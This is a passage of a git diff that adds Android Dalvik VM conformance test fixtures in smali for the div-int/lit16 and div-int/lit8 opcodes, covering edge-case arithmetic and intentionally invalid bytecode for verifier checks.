diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali
new file mode 100644
index 0000000..c3cf33e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_16.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       div-int/lit16 v1, v3, 1
+       const v0, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali
new file mode 100644
index 0000000..21d9ee2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_17.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       div-int/lit16 v0, v3, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali
new file mode 100644
index 0000000..432917f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_18.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       div-int/lit16 v0, v4, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali
new file mode 100644
index 0000000..8bd3014
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741823
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali
new file mode 100644
index 0000000..12281e9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 0
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali
new file mode 100644
index 0000000..1bf052d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -10
+       div-int/lit16 v0, v2, 3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali
new file mode 100644
index 0000000..86559c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741824
+       div-int/lit16 v0, v2, -3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali
new file mode 100644
index 0000000..f38db0f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -17895697
+       div-int/lit16 v0, v2, -3000
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali
new file mode 100644
index 0000000..e031633
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, -1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali
new file mode 100644
index 0000000..042da15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali
new file mode 100644
index 0000000..f50bdca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 2147483647
+       div-int/lit16 v0, v2, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali
new file mode 100644
index 0000000..d609b0e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 8
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali
new file mode 100644
index 0000000..939d459
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit8 v0, v2, 127
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali
new file mode 100644
index 0000000..6be53ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, 127
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali
new file mode 100644
index 0000000..33d8a52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, -128
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali
new file mode 100644
index 0000000..752e5f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit8 v0, v2, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali
new file mode 100644
index 0000000..651eac3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 31415
+       div-int/lit8 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali
new file mode 100644
index 0000000..9f66175
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_15.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int/lit8 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali
new file mode 100644
index 0000000..99096ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_16.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       div-int/lit8 v1, v3, 1
+       const v0, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali
new file mode 100644
index 0000000..a350ea5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_17.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       div-int/lit8 v0, v3, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali
new file mode 100644
index 0000000..d506d43
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_18.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       div-int/lit8 v0, v4, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali
new file mode 100644
index 0000000..4209a29
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1073741823
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali
new file mode 100644
index 0000000..9bfa4b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 0
+       div-int/lit8 v0, v2, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit8/d/T_div_int_lit8_4.smali
new file mode 100644
index 0000000..23f5613
